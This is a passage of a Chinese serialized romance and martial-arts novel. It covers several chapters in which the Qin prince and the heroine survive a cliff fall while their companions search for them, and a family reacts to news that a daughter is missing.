他这才忽然意识到,就凭轩辕翰和衣上云俩人拥在一起的重量,从头顶这么高的悬崖上落下,本应该在自己的下方。可如今,却怎么反而似乎离自己越来越远,他几乎是在直线下降着,可那俩人为何看起来像是漂浮在半空中似的,只缓缓向下。侍卫的心里,纳闷极了。 待他终于反应过来的时候,像是终于发现了一颗救命稻草一般,连忙向上再次大声呼救起来“救命,救命啊,秦王殿下救救我,我知道拓跋泽的一个阴谋,是有关西秦国和南安国的。只要秦王你救救我,我愿意就此归顺西秦,从此以秦王马首是瞻,绝不二心。” 而当正揽着衣上云在视线太过模糊的崖壁上正努力寻找着支点的轩辕翰忽闻此声,暗自想了想,便当即朝下猛一发力。紧接着,那侍卫便仰面朝天,翘首高高地抬起两只手来,死死地抱住了轩辕翰的一只脚。 有了这颗救命稻草,侍卫的心总算是又回到了自己的肚子里了。此时,他终于可以舒展开眉头来,大口地喘一口气。 而这时,悬崖顶上的易君浩,正黯然神伤地屈膝,双膝沉沉地跪在了悬崖边上,那轩辕翰方才伏地趴身着的一片荆棘丛旁边。 那片荆棘上,甚至还在滑落着因扎在轩辕翰身上所留下的滴滴鲜血,可那人却都早已不见了身影。 他似是还不能相信眼前刚刚所发生的这一切都是真的,他的丫头,就连他的死对头,他的情敌,那始终对他高高临上,一脸不屑的轩辕翰,他们就这样瞬间都从自己的眼前消失了。 他曾发誓,不管作为丫头的什么身份,他都一定要护丫头一世周全。可现在,他还能做什么?方才,他为何竟是那样的手足无措,他心里害怕极了,可也无助极了。 他甚至至今都还尚未反应过来,他的丫头究竟是如何从他的面前掉落下去的? 方才明明还在自己眼前挣扎着,同他说话的一个大活人,如今,她到底去了哪里?她真的就这样掉下去了吗?他就这样无情的甚至连一句话也不曾对他留下,便离开他了? 奶娘的悲剧方还无情地萦绕在他的心头,拍击着他的心潮。这会儿,他一直以来看的比自己的生命还要重要的他的丫头,亦就这样瞬间从自己的面前消失不见。 以后,她再也不会出现在他的面前,被他气哭,遭他突然袭来的一个强吻,也被他开怀而笑…… 一切的一切,竟瞬间都化做成了一团泡影,从此都将只成为他心底最深亦最美好的回忆。 此时,他那双依旧细长迷人的桃花眼,痴痴地望着眼前这片烟雾缭绕,深不见底的深谷,仔仔细细地寻觅着。只可惜,无论他如何,做再多的努力,始终却什么都没能看到。 半晌后,易君浩忽然似是伤心绝望地缓缓闭起了双眸,眼角悄悄地流下来两行泪水,口中低声喃喃道“丫头,难道我们之间,真的就这样结束了么?我还有很多话未对你说,很多事未对你做,很多……” 而这时,在深山的另一头,一直举剑与拓跋宏的剑术不分上下,俩人剑光霍霍地全力拼搏苦战在一起的程良,眼见着俩人劍招越来越紧,忽然心间咯噔一下,一阵甚是强烈的疼痛感涌上心头,似是预感到了有什么不好的事情发生。 忽然的一个分心,拓跋宏虽然眼疾手快的瞥见,但已然来不及收势。 只见“嗖”的一道白光闪过,那锋利的剑尖便乘势刚好稳稳地扎在了正有些心不在焉的程良的左肩。 拓跋宏大吃一惊,忙抽回手中的长剑,倒转剑柄,又将剑置于自己身后,回头时却见程良的肩上已然早已瞬时渗出来了一大片血迹。 拓跋宏当即收势顿足,惊声喝道“你怎么回事?” 程良似是本能一般地锁紧眉头,迅速地看了一眼自己的伤处,立刻将其用那只持剑的大手捂住,继而抬头望向眼前那正一脸不悦着的拓跋宏,顿感疑惑道“‘胜败乃兵家常事’,二皇子此时却为何突然收手了呢?这时乘机取了程良的性命,岂不更好。” 拓跋宏不屑地笑道“哼,‘趁人之危’算什么英雄好汉?你莫要小瞧了我北烈国人。仅以你一个区区西秦国秦王副将的身手,不想便能接得了本皇子七十余招。可想而知,那灵空战神秦王也不是浪得虚名的,他的剑术,想必一定更是了得了!方才见他那速度,真是让本皇子大吃一惊。如此看来,本皇子的剑术确实是差了。只是,刚才你明明可以躲过本皇子那一剑,且许还会占了上风,却为何在这紧要关头心不在焉地分了心呢?” 程良轻叹口气,心里竟忽然有些庆幸自己对抗的,幸好是这温文尔雅的北烈国二皇子,早就听闻北烈国二皇子尤爱医术,并不喜打斗。如今亲眼一见,果然名不虚传。 若是这会儿与自己交手的是他的亲哥哥,心狠手辣,不择手段的拓跋泽的话,怕是他早已变为一具死尸,躺在他的脚底下了。 一念至此,程良满面忧心地道“素闻二皇子宅心仁厚,深得北烈国国君青睐,亦欲传位于二皇子殿下。如今一见,果然实至名归。只是,今日我家殿下见我家医女深陷险 境,便出手相救。情势危急,不如我们来日再战,先容我们将府上的医女安顿好。其他的事,我们日后再谈,可好?” 拓跋宏好奇地问道“秦王府的医女?你说方才那名本皇子皇兄所看上的西秦女子,她是贵府的医女?可怎么依照本皇子所见,她似乎更像是你们家主子心尖上的人呢?” “此事…一言难尽,眼下我家主子和府上的医女正在遇险,二皇子,多谢了。告辞!”程良早已心乱如麻,匆匆地抱拳丢下这句话,便顿足双脚一用力点地,“嗖”地一下飞身了出去。 拓跋宏则怔在原地里,一动也不动了。 (本章完) 第一百八十四章:人间正道是沧桑 易君浩悲痛欲绝的双膝跪地了许久,此时真可谓是‘叫天天不应,叫地地不灵’。 于是,一怒之下,他站起来转过身去,忿忿地瞪大了满是仇恨的眼睛,一步一步地缓缓走到拓跋泽的身前,拓跋泽抚着胸口,被这厉色吓得一边跌跌撞撞后退着,一边诚惶诚恐道“你...你想做什么?” 只见易君浩一近身到其身旁,便蹬腿朝其腿腕上大力地一脚,拓跋泽便顺势“扑通”一声,重重地双膝跪在了地上。 然还未待其来得及跪实了,紧接着又被易君浩狠狠地一脚踹翻在地,屁股朝上撅着,脸孔朝下紧紧地贴着地面,瞬间口鼻之中全是泥土,狼狈极了。 然还远远不止,易君浩忽然又伸出两只有力的大手来将其稳稳的向上托起,高高举过头顶。又抬头目视了一下前方,似是锁定了一个位置,随即把他往出用力地一抛,他的整个身子便刚好被架在了前方不远处一株大树的树枝上。 此时,拓跋泽似是已经被惩罚折腾地奄奄一息,喃喃道“要杀要剐,痛快一点!” 然易君浩怎么可能让他如此痛快地便死去。 那个树枝上的位置,恰是眼前最高亦是正在受太阳暴晒最强的地方。 拓跋泽此时,俨然已犹如一头死猪一般,直等着被这午时的焦阳晒断气后,直至晒出油来,晒得全身焦红,晒个十天半个月,便可拔毛开肠破肚,亦或者便就如此直接被暴晒成一只美味可口的烤全猪,引来空中那饥饿至极的秃鹰来,将其一口一口地啄食尽。 为再防他使什么坏,只见易君浩轻轻双脚一点地,便朝拓跋泽的身边飞身了上去。 易君浩蹲身在其眼前,突然伸出两根手指,将此时已完全手无缚鸡之力的拓跋泽点了穴道,顿时他便全身都再也动弹不得。 接着,易君浩又伸手一把扯掉了拓跋泽全身的衣物遮挡,只留给他一条底裤。继而又用他扯下的他的腰带,将其俩只胳膊反过来和树枝一起紧紧地捆绑在一起。 似是这才放了心,纵身一跃,便飞身下树来,背对着他,从头到尾都不曾跟他说一句话一个字,甚至就连目光也不曾和他相对,最后背着身子,朝着悬崖边上再次踱步回去。 拓跋泽看着其远去的背影,竟还妄想着暗自运气,不料身上要穴皆已被封,全身真气受阻,胡乱挣扎了半晌,竟全没半分内力可用。 就在这时,他忽觉身后落下一人,飞快地伸手替其解开了束缚他的穴道。 拓跋泽这才得以猛地回头一看,那人竟是他的亲弟弟拓跋宏。 然他一被拓跋宏帮忙,跃下树来,紧忙穿好衣衫,便又怒目着宠宠欲动地欲想要向悬崖边再次奔去。 “你想做什么?”拓跋宏 急呼。 拓跋泽狠狠地咬牙切齿道“哼,‘士可杀不可辱’,此仇不报,誓不为人。今日,我一定要将这个南安太子亦送上西天,好叫他知道羞辱我北烈皇子的下场,必是叫他死无葬身之地。” “够了,你还嫌丢人丢的不够么?你现在都这样了,连站都站不稳。难道还能斗得过那南安太子?你莫非真以为他是吃素的?今日,你对西秦秦王胜之不武,若是日后世人皆知是你所为,是你趁人之危,将那西秦秦王……到时候,看你还有何颜面面对世人的悠悠之口。”拓跋宏欲言又止地忿忿训斥道。 “皇弟,你可是我的亲手足,我的亲皇弟啊。如今,你竟不帮我?”拓跋泽难以置信道。 “皇兄,事到如今,你怎么还不明白。若是皇弟我不打算帮你,今日,我便不会出现在西秦国境内,更不会刚才与那西秦秦王动手,牵制他。不是皇弟我不帮你,而是,皇兄你若是光明正大的向那西秦国宣战,皇弟我自是要竭尽所能助阵皇兄,一统天下。可如今,你所做的这一切都只不过是些歪门邪术,都会让世人所不齿的啊!皇兄,听皇弟一次吧,不要再走这些旁门左道了。来日方长,‘人间正道是沧桑’啊!”拓跋宏苦口婆心地劝解道。 拓跋泽听了拓跋宏的这番话,心中定是不肯认同,然自己重伤却已是不争的事实。眼见自己这个死脑筋的弟弟显然不肯出手帮他,他也是无可奈何了。 于是,便就这样被拓跋宏架着悄悄狼狈下山离去。 程良在与拓跋宏的比试中,心里忽觉心神不宁,已然无法全心投入地继续再战。 待一停下来眼下正与拓跋宏进行的这场君子较量后,便头也不回地飞身回到了悬崖边来,这今日里所发生的一切事情,最初开始的地方。 远远的,当他一看到易君浩一人正跪在悬崖边上,一动不动着,而轩辕翰却似是早已不见了身影。 程良心里一急,竟顿时间觉得眼前一花,身子摇摇欲坠了起来,似是将要晕倒。 他立刻顿足稳住身子,将眼睛紧紧闭起又使劲儿挤了挤,继而用力地晃了晃自己的脑袋,方才再次将其张了开来。 只不过眨眼的功夫,感觉似是刚好了一点儿,便口中喃喃地急呼一声“殿下”,紧接着便亦朝易君浩身旁飞奔了过去。 站在易君浩的身旁,程良默默地朝着四周目视张望了半晌,终未发现任何有关于轩辕翰的踪迹。 待他环视过周围,最后疑惑不解地收回所有的视线,望向身旁正痴痴愣愣,黯然神伤,似是又肝肠寸断地双膝跪地着的易君浩时,这才瞥见了易君浩双膝前的那片荆棘丛里的斑斑血迹,仿佛就像是刚刚才有人留下的一般,他的心里 ,忽然间害怕极了。 于是,他望着易君浩的眼睛,颤颤巍巍着,怯怯地缓缓问道“易三少,殿下呢?衣姑娘呢?” 易君浩似是即便已是此时,可对于方才所发生在他眼皮子底下的人生惨事,依旧心中耿耿于怀着,难以置信又伤心欲绝,已然无法开口回答他。 然程良却依旧不依不饶,可心里却是越来越害怕。 心里一急,他顿然屈膝蹲身到了易君浩的身旁,凑到其面前,抓着他的肩膀转过身来对视着他的眼睛,提高了嗓门朝其大声呐喊道“易三少,我在问你话,你到底怎么了?说话呀!我家殿下呢?衣姑娘呢?他们到底去哪儿了?” 然易君浩却始终像似丢了魂一般,任其再怒再吼,亦只是自顾自地眼角流着泪水,只斜视着眼旁的那片烟雾缭绕着,什么都看不见的幽幽深谷。 而在这片深谷之中,已不知在空中缓缓向下飘落了多久,山谷里始终依旧是烟雾缭绕,视线模糊,更是找不到亦看不见任何可以倚仗的支点的轩辕翰三人,依旧踩着紫色云彩飘飘荡荡着。 此时,轩辕翰的心里仿佛亦是有些纳闷,为何自己和衣上云紧紧地拥在一起,然却会位处于那拓跋泽的侍卫之上。 就在这时,他忽然低头看了一眼正死死抱着自己脚踝的那名男子。却突然看见了原来此时三人已经距离地面愈来愈近,就连此时自己脚下和眼前四周的视线亦变得愈来愈清晰,缭绕的烟雾已缓缓升至三人的头顶之上。 他忽然看到了悬崖脚下那片狭窄的湖滩,亦看见了那条熟悉的碧绿清澈却深不见底的湖泊。 他的心里顿时一急,可那笔立的悬崖竟真的似是光秃秃的一般,无任何可以让他借力的地方,就算有,他这才清晰的发现,凭他此时与悬崖之间的距离,根本就触及不到。 于是,他只能用力紧紧的抱住了怀里的人儿,乞求上天怜悯,他只要她活着,好好活着。 忽然之间,似是脚下踩着的紫色“云彩”顿时消失不见了,三人便顺势一起极速地向下坠去。 那侍卫突感加速跌落,猛一抬头见那悬崖上的景致不停闪换,方才意识到此时的下落速度已然快出方才数十倍,那紫色云彩也不知何时,早已不知下落,荡然无存。 于是,只听他撕心裂肺般长长的“啊”一身,三人便一起直线跌落,重重的摔在了悬崖脚下的空地上。 那侍卫依旧紧紧的抱着轩辕翰的脚踝,两人一起摔在湖滩上,而衣上云则摔在了轩辕翰身旁不远处,但大半个身子被泡在了清澈碧绿的湖水里。 轩辕翰侧躺在地,无力地看着衣上云的眼睛,视线渐渐变得模糊起来,最后亦缓缓合上了那双冷峻而又 带着些忧伤与不安的眼睛。 程良呆愣了许久,待一意识到易君浩此时的反应,俨然定是轩辕翰和衣上云跌落下这座悬崖里去了。 他瞬时闭上眼睛,摒住呼吸,像是在急急回想着些什么。 片刻后,程良忽地站起身来,一拉起失魂落魄着的易君浩,便朝下山的路急急奔去。 “你要做什么,我要陪丫头,我得陪着她,她一定很害怕,很无助,很孤单。你放开我,我要在这里守着她,看着她,我再也不离开她半步,将她抛下……”易君浩在程良的手里一边挣扎着,一边心疼地说道。 “生要见人,死要见尸,在这里守着有什么用,我带你去找她!”程良坚定道。 易君浩随之大惊一声,道“什么?” (本章完) 第一百八十五章:他们绝不会短命 程良若有所思着,忽地站起身来,一把拉起失魂落魄着的易君浩,便朝下山的路上急急奔去。 “你要做什么,我要陪丫头,我得陪着她,她一定很害怕,很无助,很孤单。你放开我,我要在这里守着她,看着她,我再也不离开她半步,将她抛下……”易君浩在程良的手里一边挣扎着,一边心疼地说道。 “生要见人,死要见尸,光在这里守着有什么用。我带你去找她!”程良坚定道。 易君浩闻之大惊一声,道“什么?” “易三少,我们殿下从小到大,吃过多少苦,涉过多少险,经历过多少常人想都想不到的磨难。战场上,有哪次他不是锲而不舍地坚持到最后一刻。哪怕即使拼的自己一身窟窿,到处伤痕累累,哪怕直到最后拼尽了所有力气,累倒在满山遍野数都数不清的敌人尸骨和血泊之中,他亦会留着一口气,等着程良去找他,将他带回西秦大地。即便是那样的九死一生,他都能活下来。程良就不信,有轩辕祖先和太妃的在天之灵庇护着,阎罗王有胆,竟敢真的收了我家殿下的性命。程良更不信,殿下他真的忍心要弃他这么多年来,呕心沥血,一心一意守护着的西秦子民于不顾了?所以,即便是殿下坠入了这万丈悬崖,程良仍然得同过去往常一模一样地去寻他,将他带回城东秦王府,哪怕殿下他真的……可易三少你,你若是以为衣姑娘已经死了,或许…她便会真的死了。然若你也不信,不管是生是死,还想再见她一面,那便跟我走。” 程良蓦然驻足下来,似是生气了一般一把甩开了紧拽着易君浩胳膊的手,深吸口气,皱紧眉头来一边回忆着,一边对其颇为认真地说道。 话一说完,程良便扭头独自离去。易君浩听着程良这番发自肺腑,慷慨激昂的话,一时间竟被这些话震惊呆了。 他从小便是含着金汤匙长大的,什么都不用自己操心。一人之下万人之上,受人膜拜,衣来伸手,锦衣玉食,从未受过苦,更别说上战场了。 南安国的大小战事他亦从来都不关心谁胜谁负,似是他这一辈子都不会触碰一般,可偏偏就是这些俗世重担,就单单落在了他一人的肩上。然除了医药和闲云野鹤的生活,他什么都不在乎,也因此,他便逃了。 唯独遇到衣上云这个丫头,她是突然闯入他生命里的第一个,也是此生唯一的一个异数…… 易君浩独自陷入沉思,久久不能自拔,等忽的一回过神来的时候,见程良已然独自走出数丈之远,便飞快地朝其身后纵身追去。 易君浩一追上程良,便将一手搭在他的肩上,含笑信誓旦旦道“我同你一起去,‘生要见人,死要见尸’,我相信,丫头…她绝 不会如此短命的。” 程良闻之,似是受到鼓舞一般,亦高兴地朝其用力一点头,道“对,不是有个词儿叫做‘奇迹’么,我家殿下和衣姑娘都是可怜的人,俗话说‘上天有好生之德’,相信经过这场生死离别之后,他们一定会郎情妾意,‘有情人终成眷属’的。“ 岂料易君浩一听这话,忽然间就变了脸色,将那只刚刚还稳稳地搭在程良肩上的手迅速抽回,板起脸来冷哼一声,道“什么‘郎情妾意’?相信存在奇迹就够了,‘有情人终成眷属’,那就免了吧!我家丫头的心思,我易三少定是比谁都清楚。她对你家主子,可根本就从来都没动过那个心思。” “你家丫头?易三少,你就别老往自己脸上贴金了。衣姑娘什么时候成了你家丫头了,我怎么不知道?这话你在我程良面前说说也就罢了,这要是被我家殿下的耳朵听到了,你可就没这么容易糊弄过去了。我劝你,还是管好你自己的嘴吧……”程良与易君浩一边互掐地争执着,一边继续向山下走去。 “等等,糟了!”不想,俩人都已快到达山下的时候,易君浩忽然驻足惊了一声道。 “怎么了?”程良亦急急顿足下来,看着易君浩,一脸疑惑道。 易君浩道“我怎么把他给忘了?” “谁啊?”程良道。 “拓跋泽还在那边呢,我一气之下把他搁在树杈上脱光了,让太阳暴晒,打算烤全猪喂秃鹰吃呢?不行,如果是现在这样的话,我必须得先把他留着,如果丫头活着,正好给丫头处置。如果…那我会让他尝尽我易三少的所有独门秘方,让他求生不得,求死不能。” 易君浩一念至此,尚未等话音落下,便又一手撩起袍角,调转回头朝山上急急奔去。 “易三少……”程良说着,也只能深叹了口气,亦纵身急急追了上去。 “人呢?”易君浩一飞身上到方才的那棵大树顶上,东找西找了半晌,却已然不见了拓跋泽的身影。 正在他紧锁眉头着纳闷之际,紧随其后追随而上来的程良,亦蹲身下来看到了他眼前这空空如也的树枝。 易君浩仍难以置信地一边四下里急急寻着,一边纳闷极了地嘴里喃喃自语道“不可能啊,我将他全身的皮囊都扒的一干二净,就差那条底裤了,全都用来将他捆绑在这棵树上了,为防止万一,还特意封了他的全身穴道。实在没理由逃的掉哇!总不见得是大白天里,烈日底下见鬼了吧 第一百八十六章:湖滩上的血岩石 紧跟着程良的脚步七拐八拐的,易君浩忽然抬头望了一下四周,只见头顶的蓝天白云之间,太阳已然西斜,始终从左边射来,便知程良一直是带着自己往北行。 忽然,耳畔似是传来了一阵轰隆轰隆的声音,且越往前走,这声音便更是越来越响。 易君浩跟在程良的身后,心里不禁暗自吃惊起来“莫非前方是怒涛汹涌的激流。” 紧接着,俩人又继续往前奔走了约摸一个时辰的样子,只觉隆隆的相声不绝,忽然有水珠宛若下大雨一般,溅到了他的头脸之上,竟打的他那张妖孽般的俊脸隐隐生疼。 很快,俩人便穿过了这整片漫长的野外丛林带,原本遮天蔽日的林荫亦渐渐变得越来越稀疏,这才发现太阳早已不知落至了何处。 然头顶依旧的大雨却似是越来越大,这时眼前忽然现出来一片极为空旷的圆形地带。 这片圆形地带似更像是一片小岛,周围一圈都被碧绿清澈的湖水所环绕着。 易君浩站在丛林的尽头,面对着眼前的这片空旷,这才看清楚在他左边的一面山崖上,一条大瀑布宛若一条悬空的玉龙一般,滚滚而下,倾入山崖脚下的一座大湖之中。 瀑布不断注入湖水,注入处湖水翻滚,只离得瀑布十余丈距离。 然瀑布注入之后,又从眼前的圆形地带周圈里分为两路,并入右侧的碧水湖中,湖水便一平如镜,清澈异常。 面对这造化的奇景,易君浩只瞧得目瞪口呆。 那碧绿纯净犹如一面镜子的碧水湖,就夹在他此时面前这南北高耸着的两面悬崖之间,整个湖由北向南逐渐变宽。 悬崖的岩石上,偶尔点缀着些许松树,悬崖拥抱着湖岸。然这湖岸却只存在于北面的山崖脚下,且是一片极窄的湖滩,南面山崖的脚,则是完完整整地全部浸泡在湖水之中。 选选望去,随着碧水湖两边的悬崖向北延伸,越来越高。似是左前方竟现出犹如如来佛祖的五指山一般,高不可测的一段几近笔直的悬崖来。 那里的天空,亦渐渐变得似是遮云蔽日一般,头顶尽是烟雾缭绕着,让人瞬间觉得阴森神秘又恐怖凶险起来。 这时,程良忽然仰面朝天,转了一圈,整体目测了一下周围的所有。继而转头看向易君浩的脸,说道“就是这儿了!” “这…这难道是柳树林东面的那条大河所聚集形成的瀑布……”易君浩抬头看着瀑布上方的地形,吃惊道。 稍作停顿,他顿时瞪大了眼睛,抬手指着远方那片烟雾缭绕,阴暗的天空,惊声道“那是…那是丫头方才所掉落的那座悬崖……” 程良朝其点了点头,眼睛亦瞬时望向了与易君浩相同的地方,然却突然一种隐隐的 恐惧感涌上心头。 “你是怎么知道这个地方的?”易君浩忽然好奇地问。 闻之,程良的眼睛微微扑朔了两下,说道“十几年前,我们主子曾经有个恩人,亦是从这座悬崖上坠落而下。主子为了寻她的尸骨,亲自带着我们无意中发现了这条路。” “十几年前?那时的轩辕翰最多也就正值换乳牙的年纪吧,莫非是他闯了什么弥天大祸了,他那恩人为了救他才坠落悬崖的?”易君浩叹道。 “胡说,我们殿下怎么可能闯祸,定是太后那帮人……”程良闻言,想起当年的事来一时情急,怒不可遏,气急败坏地口不择言道。 然话刚出口,已然发现自己失言,却是为时已晚,忙低头止住了声。 易君浩心里显然已经很清楚这是怎么回事了,随即抬头望着前方的路,开口道“放心吧,我易三少只喜欢惬意舒心的日子。什么朝堂之争,什么天下霸业,我都不敢兴趣。所以,西秦秦王的心里究竟打的什么主意,我一点儿也不在乎。” 只见二人对着那片天空沉默了片刻,便一起双脚用力点地,飞身越过了湖水的阻拦,直奔向那片阴暗天空下的湖滩而去。 湖水茫茫,冷风凄凄,已近夜幕降临。 眼见着俩人马上就快要寻遍整片湖滩,却依旧不见任何人影踪迹,然这湖滩却已变得越来越窄。 碧水湖两边的悬崖,到了北边的尽头之处,都是没有湖滩的。在那里,有的只是一片水天一色的冰冷地带,冰冷的湖水拍击着同样冰冷的岩石,似是两颗已冰冷了千年万年的同样凉透了的心,倚靠着这唯一的方式互相安慰着取暖一般。 过了那道悬崖尽头所夹着的湖水口,往北亦已不再是西秦国的境土。 眼看着,天真的是黑下来了。 这时,俩人忽然停下了搜索的脚步,几近绝望地并排站在一起,俩个如此伟岸的七尺男儿,在这一刻,却是同样都满脸露着那般无助的眼神,望着远方尽头处的那片白茫茫之色渐渐被这片黑夜所吞噬。 不知站了多久,程良忽然伸手一把拽住了易君浩的胳膊,惊声道“三少快看,那是什么?” 只见在前方的黑夜里,那片尽头之处,似是有个什么东西正摇摇摆摆着立起来。 易君浩抬头一看,想都没想,撒腿便朝其奔去,程良亦飞奔跟上。 “轩辕翰” & 第一百八十七章:世事果然尽与愿违 是夜,城西衣府的书房里,灯火依旧。 家主衣上坤正端坐在书案边,津津有味地挑灯夜读着那本恩人所赠的医药秘籍。时而口中喃喃自语,时而陷入一片沉思,时而又俯案提笔在纸上书写着些什么。 忽见他似是发现了什么宝贝似的,放下了手里的纸笔,拿起古籍来满脸欣喜道“用北方的‘南烛叶’或者南方‘桐叶’的汁浸米蒸饭,再将米饭晒干,食之。‘南烛叶’具有益精气、强筋骨、明目、止泻之效;‘桐叶’对痈疽、疗疮和创伤出血亦有一定疗效。常食此饭者,便可延寿驻颜。真是‘巾帼不让须眉,妙方济世’啊!妙妙妙,此法真是妙极了,没想到一个年纪轻轻的女流之辈竟能创下如此妙方来。还有这上面的本草录,将一些极为罕见本草的分部、别名、性味、功效、采制、主治、验方等图文并茂,画的如此栩栩如生,记载的如此详尽......如此细致的医药天才,只可惜‘自古红颜多薄命’,实在是可惜,可惜了。” 说着说着,他不禁想起了那一年所发生的事来...... 而一想到当年的一幕幕,不禁轻叹了口气,再一次提笔正欲想写些什么。忽然,“咚咚咚”一阵似是有些急促的叩门声响了起来。 衣上坤:“进来” 只见迈步进来的年青女子,正是衣上云的贴身丫鬟,燕儿。一袭水绿色裙装,梳着一头双丫髻,显得甚是活泼灵巧又干净清爽。 然此时,燕儿脸上的神情却似是有些与往日里不同。她紧握着双手,两眼微微红肿,这几日似是瘦了许多。 衣上坤抬头一看似是有些惊讶,随即放下了手里的毛笔,端坐起身来,一手捋着下巴上的那嘬短须,一边望了眼窗外的夜色,已然月上树梢,便问道“怎么是你?这个时辰,你不陪着小姐洗漱更衣歇息,跑来这里做什么?” 哪知衣上坤话音刚落,燕儿竟似是天塌下来了一般,扑通一声,跪倒在了衣上坤的书案前,俯首痛哭起来,哽咽着道“老爷,大事不好了……” 然衣上坤依然镇定自若,一个小丫头,能有什么大事,便懒懒地说道“是不是府里又有人欺负你,给你脸色看了,是二小姐还是大少爷,亦或是兰姨娘?” 燕儿依旧伏首痛哭着摇了摇头。 衣上坤纳闷,又道“不是他们?那如今在这个府里还有谁敢欺负你呢?” 燕儿还是俯首着泣不成声道“是...是...是小姐她......” 不想这时,还尚未待燕儿将话说完,衣上坤便惊声道“难道是小姐的腿疾又复发了?你这个丫头,到底怎么回事,你倒是快点说话啊!” 燕儿怯怯地伏首哭了许久,一次次话到嘴边,却不知该如 何开口。思前想后了半天,终于一咬牙,心一横,脱口说道“是小姐她多日前独自去了城南,至今未归。燕儿刚才...刚才梦到小姐她被人...被人...小姐她坠落悬崖...死了!” 此话一出,衣上坤顿时震怒起身来,心里既惊又忧,一声嘶吼道“你说什么?再说一遍?” 燕儿瞬间被惊吓地整个身子都颤抖了起来,依旧不敢抬头看衣上坤的眼睛,只跪着一边哭,一边重复道“小姐她去了城南,本应今日晌午回府,可却至今都未归。燕儿刚才...刚才梦到小姐她被人...被人...小姐她坠落悬崖...死了!” “什么?”衣上坤顿时被燕儿的这句话惊呆了。 衣上云在衣府里,一向都是大门不出二门不迈的。经燕儿这么一提醒,衣上坤刚刚想起,确实这几日未曾在府里见过那个丫头了,方才想起衣上云前几日亲自跟自己说过要去城南的这件事。 “会不会是路上有什么事给耽搁了呢?这年关里,车马也未必好找。也许半夜里,或者晚一点儿,她便会回到府里,也未尝不可呢?”沉默着愣了许久后,衣上坤自觉自己向来与人素无仇怨,衣上云又被世人皆视为退了婚的废柴丑女,她亦不再是昏迷前的那般柔弱可欺的性子,于是安慰自己道。 “不不不,老爷,小姐一定出事了,老爷赶快派人去城南寻回小姐吧。或者,或者让燕儿去,对,让燕儿去也行啊。方才晚饭后,少爷他在街上听人说...说...” 燕儿抬起头来支支吾吾地说着,衣上坤已然心里有些窝火与着急,于是便怒道“少爷在街上听说什么了?” 燕儿被这呵斥声再次惊吓地低了头,道“少爷在街上听人说...说秦王殿下今日已经下令将城南万娇阁给封了。” 闻此,衣上坤缓缓坐了下来捋着那撮短须若有所思道“万娇阁被封了?还是秦王亲自下令封的?想必那定是万娇阁里面大有阴谋才被封的。可这又与小姐有何关联?城南万娇阁乃是西秦第一风月场所,烟花之地...城南......” 一念至此,衣上坤忽然心中浮起一抹极不好的预感。于是瞪大了眼睛,一只手亦同时重重地拍在了面前的书案上,就连砚台里的墨都溅了出来,不可思议地对着燕儿吼道“你是说,小姐是去了城南万娇阁?” 燕儿紧锁着眉头,小心翼翼地点了点头。 & 第一百八十八章: 天理昭彰,父债女还 兰香的话尚未说完,就在这时,门外忽然传来一阵撕心裂肺的哭声。 伴随着这阵似曾相识的声音愈来愈近,待其一跨进门来映入兰香和玉娘的眼帘,兰香这才看清,原是嫣红扶着她那白发苍苍,步履蹒跚的外婆进来。 经历了这场惊心动魄的劫难之后,她与相依为命的外婆虽只是一日未见,然兰香此时的心里却觉似是已恍如隔世。 此时,看到外婆毫发无损地出现在她的面前,心里又惊又喜。这一刻,她只想紧紧地拥她入怀,她最亲最挂念的人。 念及此,兰香的心头顿时一热,今天所发生的一切,似是还惊魂未定着,她还以为她再也见不到她的外婆了呢。于是,她口中喃喃惊道了一句“外婆”,便心中感慨万千着激动地赶忙上前向其张开了双臂。 然不想,她满心期待着迎来的,却是冷不防忽地一巴掌。只见那巴掌重重地一落在兰香白皙的脸庞上,便顿时现出了五道清晰的红印来。 兰香当即止步住,脸上扬溢着的欢喜亦自是瞬间全无。只本能地抬手捂起脸来,惊愕地看着老人的眼睛不明白道“外婆,你这是怎么了?是兰香做错什么了么?” 这一巴掌,兰香事先并没有任何防备,就连一旁站着的玉娘和嫣红亦没有想到,但见看着都疼,俩人不禁不约而同地打了个颤,似是惊呆了。 而紧接着所发生的下一幕,更是让在场的所有人都震惊不已。 还未待众人反应过来究竟是怎么回事,只见老人竟忽然抬举起手来在空中,当着在场所有人的面,比方才给兰香的那一巴掌更重更狠地,将其拍在了自己那张被岁月雕蚀的已满是风烛残年的老脸上。 正当老人打算继续伸出另一只手来,掌掴自己另一边的脸庞时,兰香急急回过神来,一个大踏步上去,扑通一声跪倒在了外婆的脚下,同时忙伸手架住了外婆的手臂,哭道“外婆,不要啊,你这是做什么?” 老人一边从兰香的手里拼命挣扎着欲继续掌掴自己,一边哭着说道“你拦我做什么,你不要拦我。你这个死丫头,还想骗我这个不中用的糟老太婆到什么时候?” 兰香跪在地上一边哭,一边摇着头诚惶惶恐地乞求着“外婆,有话好好说,你不要这样。兰香做错了什么,要打要骂,你打骂便是。兰香只求你不要伤害自己,不要这样啊……” 见此,立在一旁的嫣红和玉娘亦忙回过神来,急步上前拉着劝着,一时间,房内嘈杂成一片。 老人苦道“这些年,我老太婆小心翼翼,从不敢太多过问你的事。从小到大,我知道你的身世带给你心里太多的苦。我怕说重了,你心里的负担更重;不说,又怕你嫌我对你不管不问,不关 心你。可无论如何,你也不能‘破罐子破摔’,到万娇阁里来作贱自己啊。你这么做,让我怎么去跟你那死去的娘交待啊。天呢,我这个糟老太婆前世里到底是做了什么孽啊,老天要如此惩罚我?让我白发人送黑发人还不够,今天又如此这般的祸害我这可怜的外孙女?” “外婆,这一切都跟你无关,兰香也不想啊,试问世人有谁想来这种地方讨生活呢?这都是…都是……”兰香说着说着,忽然停了下来。 她心想:曾经,她还可以将这一切不幸都推到那个,她曾以为对自己始乱终弃又薄情寡义的二郎身上。 因为当时白纸黑字所显现出来的事实,确实是他把她卖到了这火坑里。可如今,她已然知道了事实真相。原来这么多年,终究是她错怪了二郎,还无辜地连累造成了红梅的不幸。 退一万步来说,如果说这场祸事虽不是二郎亲自所为,却也是因他而起。所谓‘我不杀伯人,伯人却因我而死’。但如今,二郎亦已经为了护她而枉送了自己年轻的生命。即使他真的欠她,这一死,也应该足以还清这辈子他欠下她的所有债了。 所以,此时此刻,她除了说‘这一切,都是天意弄人,都是她的命’之外,又还能说些什么呢? 半晌后,兰香只能无力地沉沉道“外婆,天意弄人,这都是兰香的命,兰香不能不认命啊!” 这话一出,哪知老人竟忽然止住了哽咽之声,继而咬牙切齿地恨恨道“不,这不是天意弄人,亦不是你应有的天命。‘天理昭彰,报应不爽’,这是报应,这都是报应啊!” 